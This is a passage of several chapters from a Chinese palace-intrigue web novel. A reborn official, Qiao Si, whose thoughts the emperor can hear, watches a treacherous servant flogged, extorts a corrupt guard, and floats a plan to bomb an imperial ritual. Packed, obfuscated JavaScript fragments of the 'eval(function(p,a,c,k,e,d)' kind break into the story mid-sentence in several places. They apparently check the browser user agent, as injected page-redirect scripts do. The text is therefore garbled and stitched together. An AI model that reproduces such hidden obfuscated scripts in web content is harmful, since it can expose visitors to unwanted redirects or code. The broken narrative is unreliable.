小泉子立刻惨叫出声,“啊!!” “陛下……” 满血复活的乔肆小心靠近殷少觉,试探道,“陛下认得小泉子?” 【不然怎么一看就知道他在擅离职守?】 “朕知道,他原是你身边的书童,如今你主仆二人都在宫中,想要叙叙旧,也情由所原。但是,” 殷少觉目光冷厉,语调也猛地一转,带上了几分愠怒, “乔卿自进宫后,原本言行得体,屡屡立功,如今却因他而行将踏错,忘了自己的身份,实属不该。” 【诶?】 【啥意思?】 乔肆再度愣住,没太听懂。 “……” 殷少觉面上威严不减,努力说得更明白一些, “他仗着乔卿宠信,便带着昔日的主子整日嬉戏玩乐,无视宫规,贪图一时之快,若不严加惩处,不知明日还会如何加倍放肆。” “啊啊啊!!我不敢了!陛下饶命——” “陛下!陛下饶命啊啊!!奴才真的不敢了——” 说话间,又是几棍子下去,隔着老远,乔肆都能闻到血腥气了,他不禁抬头多看了两眼。 这目不转睛盯着的模样,还真仿佛是个关心家仆的好主子。 若非能听到方才那一番心声的转变,殷少觉也无法确定此人竟如此幼稚自私,竟然完全不在意书童的死活,甚至毫无被敲打的自觉。 “既然他净身之后依然忘不掉宫外的事,自认是乔卿的仆人,那今日乔卿擅闯含凉殿、无视宫规的过错,便由他来代主受过。” 惨叫声不断传来,殷少觉负手而立,目光中也暗含警告地落在乔肆身上,不留情面地提醒他, “乔卿,今日你便留在此处,好好看着他是如何因你的疏于管教而受罚的。” 主子犯错,奴才挨打,并非什么新鲜事,甚至在有些时候来说,甚至比直接责罚主子要更加有效。 在高门大户之中,有血缘关系的兄弟之间不一定有多少感情,但从小一起长大的书童、仆从,往往是和主子更加亲近,也相处时间更长的。 越是在意孩子的,也越是会挑选些对主子足够忠心的奴才陪在身边。 所以,在乔家送这书童入宫当太监的时候,殷少觉也并不意外,甚至故意放任。 这书童为了能继续陪在主子身边,愿意净身做个不能人道的太监,也算是忠心。 这样一个感情深厚、忠心耿耿,甘愿为主子奉献的奴才在,打了这奴才,便和打了主子一样严重。 这件事,殷少觉甚至深有感触。 早年间,父皇也是这样责罚管教皇子们的。 但他没想到乔肆能完全想不到这一点,甚至是满不在意。 他原以为乔肆就算再不沉稳,也应当有些不快,哪怕在意面子也应当皱眉,却没想到如此不顺利。 【哇哦……】 乔肆眨了眨眼,脸上却是毫无悲悯或是怒色,笑道,“谢陛下恩典。” 听到他这丝毫没有不适,甚至有些高兴的心声语气,殷少觉原本已经打算离开的脚尖又收了回来。 不对劲。 这已经不是没心没肺的范畴了。 他蹙眉,目光再次落在正在遭受杖责的小太监身上。 惨叫还在继续,四十大板看着少,实际每一杖都皮开肉绽,今日之后,这小泉子还能否活着都是个未知数。 可乔肆的模样却太过淡定了。 乔肆甚至向前走了两步, “臣觉得,陛下所言令臣醍醐灌顶,今日之事确实非常记得铭记于心,为了表达臣深刻的反省之情,还请陛下容许臣凑近些观刑,再好好口头教育一下那不知长进的下人。” 【嘻嘻。】 【风水轮流转啊……】 【小泉子啊小泉子,没想到你也有今天?倒是省得我亲自陷害你了。】 【啧,让你把老子当傻瓜骗……】 【哈哈哈……畅快!!!】 【哈哈哈哈哈哈哈!!】 【等乔老二知道派来的眼线和鸽子是什么下场,一定要气吐血了吧?哈哈哈哈哈!!!!】 乔肆表情克制着,心底里却已经乐开了花。 畅快啊畅快! 他看向殷少觉,等着对方恩准自己。 殷少觉也在看着他,却和方才的神情不太一样了,目光中透着探究与审视,仿佛要透过乔肆那双明亮到有些泛出锐气的双眸看出些什么别的东西。 但最终,乔肆也只是微微抬眉,等着他的恩准。 【狗皇帝今日也算是做了件好事。】 殷少觉:“……” 本想责罚敲打一番,莫名其妙成了奖励乔肆,殷少觉心情颇有些复杂,一时有点不想说话。 他挪开了视线,点头恩准。 乔肆立刻绕开侍卫,来到了小泉子的正前方。 那张白净的脸如今已经涕泪横流,因为痛苦而扭曲着,很是难看。 乔肆在他面前蹲下,一手支着脸颊,假意询问,“哎呀,小泉子,你还好吧?” 回应他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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乔肆几乎被他气笑了,“……将我送进宫的是乔家,将你净身成太监的也是乔家,你反倒不敢恨乔家的任何人,反而恨起我来了??” “我呸!事到如今你还装什么无辜!!要不是乔老爷看得起你,你现在又和我有什么区别!!还不是只能到大户人家做工!” “……” 也只有那么一次,乔肆实在猝不及防,才亲耳听到、亲眼看到了整日对自己笑容满面、嘘寒问暖的小泉子是这副嘴脸。 在这之前,他甚至以为小泉子是自愿进宫当太监的,只不过实在是活儿太多太重,腾不出什么时间来看他。 可小泉子不但恨他,还要针对所有对他心存善意的人,栽赃宫中偷偷给他留吃食开小灶的厨娘,害得厨娘被发卖,虐打乔家想要告诉他真相的仆从,让那仆从自此断了一条腿。 乔肆看着他如今被打的模样,看他的眼神,也知道他依然恨着自己。 但他早已不觉得委屈伤感了。 他笑着,故意小声对他说,“是不是很希望我在陛下面前为你求情?” 求情? 如今乔肆是陛下的宠臣,连擅闯太后寝宫这样的事都能一点都不受罚,若是他开口求情,想必真的会有希望。 小泉子立刻涌上强烈的求生欲,用力点头。 “不行啊,小泉子,犯错,就要挨打,这可是你说的。” 乔肆摇摇头,无奈叹气,将昔日小泉子说过的话原封不动还了回去, “这是你做奴才的本分,毕竟……奴才就是奴才,怎么能算人呢?你说,是这个道理吧?” “你……!?” “当初你狠心打死其他人的时候,有没有想过自己也有今天呢?” 不等小泉子骂回来,他从侍卫那拿起用来堵嘴的白布,团成一团塞回了小泉子的嘴里, “小声点叫,陛下还在呢,你叫的这样难听,会污了陛下的耳朵。” 乔肆诛心完毕,拍拍手重新站起身来,头也不回地走到了皇帝身边。 站定之时,四十大板也终于打完了,挨打的人已经疼痛过度,晕了过去。 侍卫来到御前禀报,询问接下来如何处置。 殷少觉默然片刻,将问题抛回给了乔肆, “乔卿觉得如何?” 乔肆无辜眨眼,“臣觉得,四十大板确实责罚得很对,接下来让他自行闭门思过,便足够了。” 表面是求情,别继续罚了,闭门思过吧。 实际上却只字不提事后救治的事。 殷少觉眼底浮上浅淡笑意, “好。” 乔肆与乔家之间的关系竟有如此内情,当真好极了。 他不介意再多了解一些。 事情的发展出乎意料,与原本目的相去甚远,但好在……足够有趣。 10. 第十章 距离法坛建成还有一日。 圣旨下发,圣上将于三圣殿举办法事,与玄放法师一同为国祈福,命京中五品以上的官员必须到场。 晋王脸上被马蜂蛰了的包也终于痊愈了一半,开始有所行动。 乔府,乔家老二乔怀忠将茶杯猛地摔在地面,碎开一地锋利瓷片。 他怒火中烧,破口大骂道,“好个老不死拖着个死瘸子,敢坏我的事!!” 一旁的两个下属都被他吓了一跳。 其中一人是王五,是养信鸽的,此次折损了十几只鸽子,尽数有去无回。 另一个是赵六,是乔家养的门客,也是御林军中一个管着十几号人的小统领,参与了此次和宫内眼线联络的任务。 然而眼线也是被打死了一个,失踪了三个。 “查!!给我查!” “少爷。” 赵六和乔怀忠保持着一段距离,小心地问道,“不是已经查出来了吗?鸽子的尸体最终都是在太后殿中发现的,被打死的小泉子是因为擅闯太后寝宫被发现,另外三个是因为宫中最近在闹鬼,被邪祟所害,发现的时候已经七窍流血……” “我让你查的是这个吗?我要的是罪证!!给我证据!你光和我说这个有什么用?我拿去承禀给皇上有用吗??” 乔怀忠气得直站起来,在地上来回踱步, “太后……又是太后!!她在宫中是越来越一手遮天了!” 就在此时,一人推门而入,“当真确定是太后,不是旁人吗?” “大哥?” 乔怀忠此时看到大哥,面色更难看了几分。 爹交给他们二人任务,却只有他搞砸了,心中实在难以服气,此刻大哥过来怕不是看他笑话的! “不是太后还能有谁?她就是怕我打听后确认了消息,才故意弄死了我的人!” 乔怀忠一口咬定道。 乔怀瑾坐在一旁的椅子上,挥了挥手,让那两个门客先下去了,继续问道, “哦?你也没有切实的证据,连人死了都不敢上禀陛下,怎么就能说是太后?就不能是皇帝从中作梗?” “你以为我没怀疑过吗?” 乔怀忠觉得他看不起自己,生气道,“难道皇帝会为了抓几只信鸽,就把鸽子故意淹死在含凉殿的池塘里?还故意把鸽子烤熟了吃?你自己想想,陛下是有病,但有这么疯癫吗?” “……” 乔怀瑾不说话了,沉着脸沉默片刻,笑出了声,“确实更像是晋王才能干得出来的,这人有勇无谋,没本事却喜欢挑衅激怒别人……” 见大哥也认同了自己,乔怀忠的脸色才好了些,“这事也不能全怪我,谁想到他们如此不择手段。” “弟弟也别太生气,晋王做的这么明显,不就弄巧成拙了么?” “如何说?” “你想,人在何时会不顾后果,热血上头?人又会为何不择手段,冒着被发现的风险做事?” “……在事情只差一步,即将办成的时候。” 乔怀瑾笑着点了点头,眯起的小眼睛里闪过算计的精光,“你虽然没有直接得到消息,但也算有了答案,看来晋王确实认为自己胜券在握了……既然如此,又何愁下一步?” 乔大少爷说着,在乔怀忠有所反应之前站起身来,“不必担忧,我这就去与父亲为你说些好话,反正结果是好的,我相信父亲不会怪罪你的,反而要奖赏你还来不及呢。” “开什么玩笑,父亲有什么可奖赏我的?” “你此举让晋王失了分寸,变得如此性急,还让他错以为自己隐瞒成功了。” 乔怀瑾走到二弟面前,俯身拍了拍他的手背,“这可是大功一件啊。” 乔怀瑾一通忽悠,总算是稳住了二弟,先行去和父亲谈话了。 …… 人逢喜事精神爽。 经过小泉子挨板子一事,乔肆顿时感觉被打开了思路。 他之前只知道冲着诛九族去,若是搞事之前感觉罪名不够重,就要犹豫一下。 毕竟最可怕的不是死全家,而是死罪可免活罪难逃。 要是好不容易被治罪了,却只是打断腿之类的,岂不是得不偿失? 但他忘了一件事,那就是还有仆从代主受过这种办法! 乔家往宫里塞了多少人,乔肆不知道,但他毕竟死过挺多次的了,还是能精准找到几个熟人的。 他不确定皇帝为什么不罚他,但甩锅还不简单吗? 不管殷少觉是真心还是假意,他现在都是有护驾之功的宠臣,哪怕只是表面做做样子也够了。 而且……什么来着?殷少觉应该还错以为他背后有乔家撑腰吧? 所以只要他肯甩锅,也不至于真的把他打残废。 乔肆想来想去,都觉得此路可行,第二天就主动联络上了乔家剩下的眼线。 那人名叫赵六,是御林军的小统领,也是乔家的门客。 像这样的小统领还有很多,赵六负责的是皇宫边缘区域,若非乔肆主动找来,两人都很难碰面。 乔肆记得,他被软禁在宫中时曾经想过出逃,毕竟几辈子的记忆加起来,总能摸清宫内的巡逻规律与防范薄弱之处。 但他最终还是失败了,因为他碰到了赵六。 本该轮值休息的赵六不知为何突然出现,挡住了他的去路,将他强行押解回来,还抢走了他积攒多时仅剩的钱财。 钱都没了,也再难从宫中换到出逃要用的工具,就算逃出去也很快就要饥寒交迫。 要说除了那小泉子,乔肆对谁印象最深刻,便是这赵六了。 赵六原本也不叫赵六,能得到这样好的官职,也是因为与乔家沾亲带故,严格来说还在九族之内。 乔肆原本想等着诛九族的时候再一起清算,没想到一下子就不用等了。 望着眼前一身官服、人模狗样的赵六,乔肆未语先笑。 那赵六并不客气,急躁地向他交代,“这事儿你能不能办给个准信?不要让老爷等得失望了!” “不能。” “你……!” “我要说不能,你打算怎么回去交差?” “乔肆,你不要太过分了!” 在赵六的印象中,乔肆还是那个任人搓圆捏扁,脾气好又小心谨慎,空有一张好脸蛋的笨蛋,是乔家一枚看似光鲜亮丽的好用的棋子。 无论在乔老爷的面前,还是其他几个公子面前,乔肆都鲜少有态度强硬的时候,哪怕是对上乔府的小厮,也都是客客气气,面带微笑的。 这样一个人,才入宫几天,竟然就敢对他这样说话了? 难道乔肆不知道,今后他恐怕都要留在宫中,随时都有需要仰仗他这个侍卫统领的时候吗? 赵六很不服气,甚至有些恼羞成怒。 他方才说话语气是不好,但他没想过乔肆会拒绝。 交差?难道乔肆也看出这份差事重要,若是办不成,挨罚受罪的都会是他赵六了? 不可能。 他沉下脸色,将人逼到墙角,压低声音道,“这事情不是儿戏,你最好重视起来,别到时因为你害了无辜百姓!” 又来了。 无辜百姓。 乔肆掏掏耳朵。 不知从什么时候起,这些乔家人无师自通了道德绑架的路数,每次让他做什么事,给什么剧透,就会用类似的招数骗他、逼迫他。 要不是这次他知道了全部,恐怕都会信以为真。 毕竟,赵六这次让他做的事情,是破坏那晋王与玄放法师的计划。 他当然知道晋王是坏的,是个草菅人命没人性的家伙。 和原著中那个最大反派一样,晋王属于书中的小反派,死不足惜。 他最初也是因为这个,才中了思维误区,以为只要是敌人的敌人,就是朋友,只要目标一致,就能结成同盟。 以为……会痛恨恶人的,应当也是出于嫉恶如仇的正直之心。 可惜,乔家不过是和晋王有利益冲突,根本不是他以为的那样。 在高高兴兴帮助乔家弄倒一个又一个政敌时,忘了去查验乔家是否就清白正直。 乔肆垂下眸子,没什么陪他演戏的性质,掉头就走。 “诶?!你这家伙!” 赵六毕竟是习武之人,直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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乔肆见他还不动作,不耐烦道,“不行就算了,反正皇上也没少给我赏赐,不缺你这几个,跑那么远万一被发现了,我还可能小命难保——” 说着说着,赵六果然急了,直接从身上拿出几样上好的玉扳指、玉镯子,都是他这两天从宫内的别人那里薅来的。 倒不完全是被威胁到了,而是突然听到了‘皇上的赏赐’。 这代表乔肆还是个肥羊,来日方长,他不愁将来没机会回本。 乔肆终于笑了笑,满意收下了东西。 接头完毕,乔肆和赵六立刻分开。 直到回了临华殿,乔肆才重新拿出了那几个‘脏物’。 他前几世不是没想过要揭发赵六,毕竟进了御林军以来,赵六积年累月贪的钱财不是一星半点,宫中御赐之物不断流入民间,不但是贪财的事,还因此不惜害人性命。 那时他想拿到罪证,想揭发,却做不了什么。 因为一旦拿到了,就会被赵六倒打一耙,他也许能证明这些事的存在,却无法证明自己不曾参与其中,清清白白。 这一次,他什么都不怕了。 乔肆仔细辨认着,很快发现了宫中这些天失窃的珠宝,发现了原本是赏赐给嬷嬷们的值钱玩意儿。 殷少觉不纳后宫,那些嬷嬷们在宫中也没太多存在感,只是和宫女作伴,或是照顾几位前朝不受宠的妃子,过得都不太好。 为了确保能被发现,他干脆直接将这些带在身上,准备出门直接去求见陛下。 “乔大人。” 然而还没出门,他就被汪太医拦住了, “这么晚了,这是要去哪里?今日的药可是已经用过了?” “……” 乔大人深吸一口气,环顾四周。 汪太医走路怎么不出声啊!吓死人了! 他大惊,“汪老,您也练过轻功?!” 汪太医笑了两声。 哪儿能啊,是抗他过来的暗卫有轻功,可怜他一把老骨头差点散架。 “乔大人,进去说话吧。” …… 乔大人还没能成功出门,便被太医绊住了脚。 御书房中,殷少觉正在秘密接见一个人。 “春闱在半月之后,但是朕只能再给你一个晚上的时间。” 他在昏暗的光线下负手而立,声线沉凝,“只要能办成,朕可以答应你们任意一件事。” 11. 第十一章(修) 在乔肆暂住临华殿以来,一直被两位太医追着催他喝药,最怕的就是太医。 但平时都是王太医催促他较多,汪太医毕竟上了年纪,他上了树就拿他没办法了,一般只负责研究药材,偶尔亲自熬熬药。 虽然知道汪太医才是大领导,但毕竟被当面管束的次数少,乔肆见他笑呵呵的,便没有防备地跟着回了屋内。 谁想到,他刚一进屋,大门就被汪太医从外面关上了。 金属的碰撞声响起,大门竟从外面锁上了。 乔肆震惊地回头拍门,“喂!!汪太医?汪大人!汪老!你锁门干什么??开门呀!!!” 汪太医收起了钥匙,叹了口气,沉闷的声音隔着薄薄的木门穿来, “乔肆,我明日就放你出来,然后跟你赔罪,但是很抱歉,你今天不能再到处乱跑了,会坏事的。” 乔肆一下明白了什么,拍门的动作也停了下来,他隔着门立刻问道,“是皇帝叫你这样做的?他不至于吧!!那我要如厕怎么办啊??我还要吃饭呢!!我衣服也该洗了,身上也出汗了呢!” 不行啊,他现在就要出去! “不是陛下,是老夫非要这样做的。” 汪太医后退一步,显然是打算离开了,“你放心,老夫不会害了你的,你去桌上看看,吃的喝的都有,恭桶放在最里间,至于洗澡,一天不洗也死不了人的。” “汪爷爷!你别走啊!先把门打开我们商量商量不行吗?有话好说我保证不乱跑不捣乱了!!喂——” 然而,汪太医却只是再次叹了口气,没有再理会乔肆的挣扎狡辩。 走到临华殿门口时,他才看到了刚刚从陛下那边回来的徒弟,王太医。 “永济啊,” 永济是王太医的名,偶然间师徒唠家常,汪老便会这样称呼他,“来,跟我去太医院,还有几味药你和我一起配一下,说不定解药就快出来了。” 王太医还不明所以,点点头,很是听话地就跟着走了。 身后还时不时传来乔肆的叫声,但很快就听不见了。 王太医欲言又止,还是没忍住询问,“师父,你关他干什么?这几日虽然乔大人胡闹了些,但陛下不是都罚过了,也并没生他的气吗?” 汪老摸了摸自己灰白的胡须,摇摇头不说话。 “明日便是法事了,陛下是怕他临时添乱子?” 王永济很是不解,若是陛下想软禁,派个暗卫不就好了,何必大费周章还锁门呢,麻烦又费事。 汪老再次解释了一次,“不是陛下的意思,是老夫自作主张的。” “那陛下若是知道了岂不是……” 岂不是要生气? 王永济不太明白,乔肆不是陛下的宠臣吗?都能被特许直接住在宫里的臣子三朝加起来能有几个? “他不会的。” 汪太医想起这茬,便倍感糟心地摇了摇头,叹气道,“我这也是为了乔肆考虑,他……太恃宠而骄了,这样不好。” 岂止是不好,甚至稍有差池,都可能会没了性命。 今日暗卫来报时,汪老恰好也在,皇帝就像是故意让他听到知道一样,毫不避讳地让他听到了一些事。 乔肆这样单纯的少年,竟私下里收了某个小统领的好处,答应了帮忙在法坛上做手脚。 这可是欺君大罪。 但那些说辞,汪老也听到了,是那小统领不好,用什么大义来欺骗乔肆,骗他这是在为天下为百姓做好事。 汪老活了七十多岁,一生里阅人无数,除了在皇帝这里栽跟头总是心软被骗之外,几乎没怎么看错过人。 他相信乔肆是个心眼儿好的,忠心爱君的,绝对不可能做出真正的坏事,只是乔肆太年轻了,被那小统领骗了。 要说乔肆真的有哪里不对,也就是趁机索要了些财物,贪财罢了,只要严加管教,好好引导一番,还是能改邪归正的。 但是皇帝本就对乔肆心存顾虑。 汪太医感觉到了来自皇帝的森冷杀意,他不确定这是冲着乔家的,还是对乔肆的,但很快,暗卫就得了密旨继续去盯着乔肆了。 盯着乔肆,无论他做什么都不要插手阻挠。 这是皇帝对暗卫下的指令,偏偏让汪太医听到了。 他知道,今夜若是乔肆再轻举妄动,便注定离死不远。 吩咐过后,殷少觉才抬起头来,看向捧着药丸沉默很久的汪太医, “汪老,事到如今,你依然认为乔肆是个单纯善良的寻常人么?” 证据在前,暗卫亲眼所见的事情在前,汪太医哑口无言。 “哎……” “师父,你说解药快完成了,是真的吗?” 王太医性格单纯些,虽然已经快是不惑之年,但对这些事向来想不明白,便不想了, “这个倒确实如此。” 汪太医一路与他走着,很快就到了太医院,只字不再提与医药无关的话题,好像真的只是做了一件无关紧要的事情一般。 临华殿中,确认太医真的丢下他走了,乔肆也气呼呼地坐回了桌边,拿起一块糕点就大吃特吃,结果太干巴差点被噎死,又咕咚咕咚灌了好几口茶水。 呵呵。 汪老太医虽然说不是陛下的意思,但是,谁在乎呢? 不管是不是殷少觉属意的,多半结果也是为了不坏皇帝的好事。 可他偏要添乱不可。 若是放在以往,这么一间上锁的房子确实能拦住他,但现在他连底线都没有了,还怕什么困难? 哼! 吃饱后的乔肆再次站起身,抄起板凳就砸向了一旁的窗户。 砰的一声巨响,震飞了屋檐上的飞鸟。 窗户果然破了个口子,但木质的窗棱太过结实,破开的小口除了灌入冷风,根本不足以让人钻出去。 这没关系。 乔肆转身到了自己的床铺处,从床底下摸出了一个纸灯笼。 那纸张很薄很轻,是他之前和风筝、竹蜻蜓、毽子等物一起搜集的。 起初并非是为了好玩儿,而是为了和京城外的陆晚传递消息,当时他用的就是风筝。 靠着放风筝,丢风筝,捡风筝这样自然的事件,他便和能够出宫的宫女搭上了线,给了对方银钱帮自己把真正的消息传递出去。 但他在室内是没法放风筝的,于是拿出了当时用来掩人耳目一起买来的孔明灯,在底部拴上了一根极长钓鱼线。 乔肆将蜡烛点燃放进去,确认能飞起来了,便小心地塞到窗外,一点点放手。 寻常孔明灯飞起后,慢慢的就会飘远不见,但好在今日没什么风,孔明灯在飞高之前并未偏离太远,乔肆用一根鱼线钓着,便始终保持孔明灯悬在上空。 然后他便开始等,等陆大侠恰好在附近,还能发现这个暗号准确寻来。 这也算是在赌,若是赌不成,他就一把火烧了临华殿,不怕没人来救火。 好在,没过太久,一道人影就悄无声息地落在了他的房顶。又过了片息,门上的锁被撬开,哗啦落地。 乔肆推门而出,一见到门外的白衣人便笑了。 他拱手道, “又见面了,陆大侠。” …… 一个时辰后。 三圣殿外,明月当空,巨大的法坛之上摆着巨大的神像,三道人影一同潜入了此处。 借着神像的遮掩,三人悄无声息地在暗处藏匿。 “东西都拿到了,接下来只需要将这两个机关匣子放在陛下交代的方位,便算成了。” “哦?这样就算破坏了法事上的阴谋吗?” 乔肆好奇地拿过那两个匣子在手中摆弄,“就这么简单?” “是的,陛下就是这样交代的。” 刘疏在一旁压低声音说道,“乔大人,难道陛下没同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“陆大侠,你能有这份心,便绝对不会成为自己讨厌的那种人,至于陛下,他从一开始就不是什么仁君,你还怕他改变?” “是啊弟弟……啊?等等,乔大人你在说什么……” 刘疏听着前面的话语时还在点头迎合,听到最后一句简直大惊失色。 还好他们是在夜探三圣殿,周围的人连侍卫都中了迷魂香,不然这话让人听了可是重罪! “我还以为你会和刘疏一样,替陛下说话。” 陆晚听他这么说,反而起了兴趣,嘴角一勾,露出几分狡黠的笑意, “怎么,乔大人不怕我听了你的话,直接成了反贼吗?” 乔肆觉得他太爱逗人瞎说了, “我说的只是实话,殷少觉这皇帝语气说仁慈宽厚,不如说脾气差得很,动不动就砍头,简直暴君,我看他不爽很久了。” “那你还不肯与我们一同离开京城?” “这是两码事。” 说到这个,乔肆就显得格外固执, “他确实有点残暴吓人,但就是因为如此,他才能震慑住那些没人性的混帐狗官,才能震慑住外敌不敢来犯,残暴总好过懦弱无能,无情冷漠总好过偏信奸臣故步自封,这些人一个个都长了八百个心眼,要是殷少觉不够聪明没有城府,早就被篡位然后天下大乱了。” 陆晚眼底这才微微透出讶色,转而垂眸陷入了沉思。 “陆大侠,你今日肯出现在这里,推翻晋王的诡计,既然不是为了效忠皇帝,想必也是想为苍生尽一份力吧。” 乔肆在怀中摸了摸,摸出了一个炸药包, “依我说,既然只是为了苍生,而非为忠君,不如就大胆直接些,别管那些阴谋诡计,直接在明日将祭坛上的什么晋王什么太后什么神棍一起炸飞得了。” 12.第十二章 刘疏大惊失色。 “什么?!” 哪儿来的火药?! 反倒是陆晚见多识广,只是惊讶了一下,便很快冷静下来,一把按住那危险至极的东西,先带着两人一起蹲了下来,藏得更隐蔽些。 “你就不怕此举伤及自己,伤到陛下?” “陛下身手很好,他不会有事。” 乔肆轻笑一声——谋害皇亲国戚、朝廷命官,这么一来,他再也不怕不能诛九族了, “再说了,这不是还有你么?陆大侠身手更好,既然你不打算留在京城了,那不如再帮我一个忙,在爆炸之前保护陛下,别让他死了。” “陛下如此防备你,你还……” “他要是死了,朝局必动乱不休,下一个登基的铁定不堪大用。” 乔肆摇头。 “……” “哈哈哈……” 陆晚沉默了片息,忽然哈哈大笑起来,让一旁的刘疏再次惊得到处乱看,生怕这声音引来什么人。 然而他非但不怕,反倒走出阴影处,神采奕奕地望着乔肆,眼底里颇有几分如遇知音的欣赏, “原以为我陆晚已经足够胆大包天,不但敢夜闯皇宫,抗旨不遵,还试图拐走朝廷命官……” 说着,他的目光深深落在乔肆身上,眉梢一挑,高兴道,“但没想到,一山更比一山高,乔大人竟比陆某更有胆魄,更无法无天,竟能想出如此妙计,陆某佩服!” 刘疏快要崩溃了,“你们能不能说点不会砍头的话?!小满,我的亲弟弟,乔肆是我的救命恩人,你这样纵容他是害了他啊!” “陆大侠才是侠肝义胆,嫉恶如仇,令我也很敬佩!” 乔肆眼睛闪亮亮的,学着他的模样夸回去,跃跃欲试道,“那就行动吧?” “不急。” 陆晚笑完了,高兴完了,却是直接将他手中的火药拿了过来,放在自己怀中, “这东西毕竟危险,还是由我来代为保管吧。” “诶??” 乔肆一懵。 “我哥说得对,如此做才是害了你,你与陆某不同,无法轻易自保,若是此举被发现了,恐怕死罪难逃。” 笑归笑,闹归闹,陆晚还是没收了他的炸药包,让心情忽高忽低的刘疏再次松了口气。 刘疏幽怨地看了眼自己好不容易寻回的弟弟,只觉得再来几次自己就要去找王太医求药了。 “那好吧,就听陆大侠的。” 乔肆笑了笑,不生气火药包被没收,也不在意对方的阻拦,看起来很好说话的样子,仿佛真的乖了, “不过我很好奇明天的法事流程,能不能再跟我透露一些细节?” …… 夜还漫长。 打更人声音在城中响过一声又一声。 乌云黑压压低垂着,仿佛让白日来得更晚了些。 稀碎的脚步声几不可闻,昏暗的光线遮掩了数人的身影。 皇宫中的怪事终于停歇了一日,却在夜深人睡时再次出现异状。 狂风吹过,露出云层后的一轮明月,原本皎皎如白玉的月光却骤然变为不祥的暗红。 本该无人发觉。 深夜未能入睡的人,却纷纷仰头望去,各怀心思。 直到天明,第一缕晨光落在三圣殿中央那含悲带笑的神像之上。 罢朝多日的皇帝终于重新召见百官,只不过是在寅时的祈福法事上。 大大小小的官员们匆忙洗漱,从各个方向步履匆匆地赶往皇宫。 有人低声提起昨夜的红月,却又被同僚面色紧张地制止。 三圣殿。 早已沐浴斋戒、闭门静修三日的皇帝身着金色龙袍,当着文武百官的面来到神像面前,在法师的加持下上了三炷香。 圣乐奏响,百官跪伏,钟鸣声中诵经阵阵,令人脑海中嗡嗡作响的声音在宫墙之中如涟漪般回荡开来。 这是为国祈福的法事,无人不谦恭敬畏,即便是最尊贵的皇帝、皇后、诸位王爷,在此刻也齐齐向上苍跪拜。 乐声持续了良久,继而便开始祈福。 身穿华美长袍的玄放法师独站高台之上,双手持铜币宝剑,在熏香、祭品、法阵的包围中向天跳起动作缓慢优雅的祈福剑舞。 仪式漫长,有较为年轻,不太关心此事的臣子已经在台下跪得乏累,止不住低头隐藏自己的哈欠。 借着位置靠后,奏乐声又足够响亮的遮掩,不少官员都忍不住频频抬头,有的已经微微蹙眉,在心底有了怨言。 多少天了,皇帝不上朝也就罢了,好不容易愿意面见百官就是这样的仪式上,还害得他们如此乏累。 几日时间,已经足够让谣言传入每一个官员耳中。 无人不知,是怪事太多,皇帝又身体抱恙,才会安排今日的法事,才会让那玄放进宫得宠。 明面上,是有妖邪祸国。 但另一种说法早已传播更广,说是天降异象,乃上天示警,国有政事不合,暗指人间有位高之人德行有缺,悖逆天命,乃至怨气不散、阴气久聚,若有罪之人执迷不悟,便将有更大的灾祸降临。 所谓的妖邪,不过是民怨、人愤、天怒的预兆,是国运因人祸而致枯竭的迹象。 无论能看懂局势、或当真信此说辞的人,都有些惶恐难安。 到底是谁惹来了天怒? 又究竟是什么样的人和事,竟能恶劣到影响了国运昌盛。 偏偏皇帝迟迟不现身主持大局,反而将一切交给了法师。 让法师来主持祈福,向上苍问更多的答案,让法事来将此间困局所在、如何破局的答案告知天下。 很快,漫长的祈福流程终于结束,玄放放下宝剑,面色严肃,将三只牲畜带到了高台之上,当众宰杀祭天。 鲜血飞溅,牲畜发出了最后的哀嚎。 关键之时,原本正静坐一旁的皇帝却忽然听到了一道不该出现在这里的声音。 【好烦。】 【没完没了……】 殷少觉:“……!” 难怪昨夜之后乔肆就始终安安静静的,一直没有出过门,还以为是陆晚和刘疏当真将人说服了—— 【狗皇帝,就不能提前让那神棍精简一下流程吗??真不懂变通!】 “……” 太后看向一旁的殷少觉,“皇帝可是不喜这些血污?怎的脸色如此差。” “只是操心国事,母后不必担心。” 殷少觉立刻缓和脸色,装作无事发生。 【还好我不用跪这儿白受罪。】 【今天的牛舌饼真好吃啊……】 殷少觉闭了闭眼,指尖在扶手上轻点,重新沉下呼吸。 法事也终于到了问天卜卦的环节。 玄放来到紫青大鼎的面前,拿出一个手臂长的黄纸,开始当众画符写咒,而后将第一张点燃的符纸丢入鼎中。 “一问上苍!灾祸怪事因何生!!” 轰的一声,鼎中有什么东西被瞬间点燃,冒出一大团青白烟雾。 只见烟雾飘散,刚刚被宰杀的羊竟然又发出咩咩悲鸣。 众人皆惊。 那羊分明是在法坛之上,当着他们的面宰杀死掉的!! 玄放做出解读天降预兆的模样,大声说道, “厉鬼含冤,怨气不散,经年累月,无可转圜。” 【笑死,一群只知道读书当官没见过世面的人,就是好骗。】 【羊死了是死了,做个机关从气罐吹气出来,声带还完好无损的当然还能出声。】 【死的了知了还能嗡嗡叫呢!】 “二问上苍!祸国妖邪在何方!!” 第二道符纸也被丢入了鼎中,再次冒出一阵青烟。 忽然间,天边传来一声雷霆般的巨响。 众人皆抬头望去。 唯有太后与晋王互相交换了个眼神,几乎掩盖不住眼底的笑意。 他们等这一刻太久了。 等到黑烟飘起,皇帝就能被盖章成为德不配位、违逆天命而引来天怒天罚的昏君。 这几天以来,他们做了那么多,引起的那么多怪事就都成了皇帝影响国运的证明。 而等到第三问……找出国之祥瑞所在,真正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 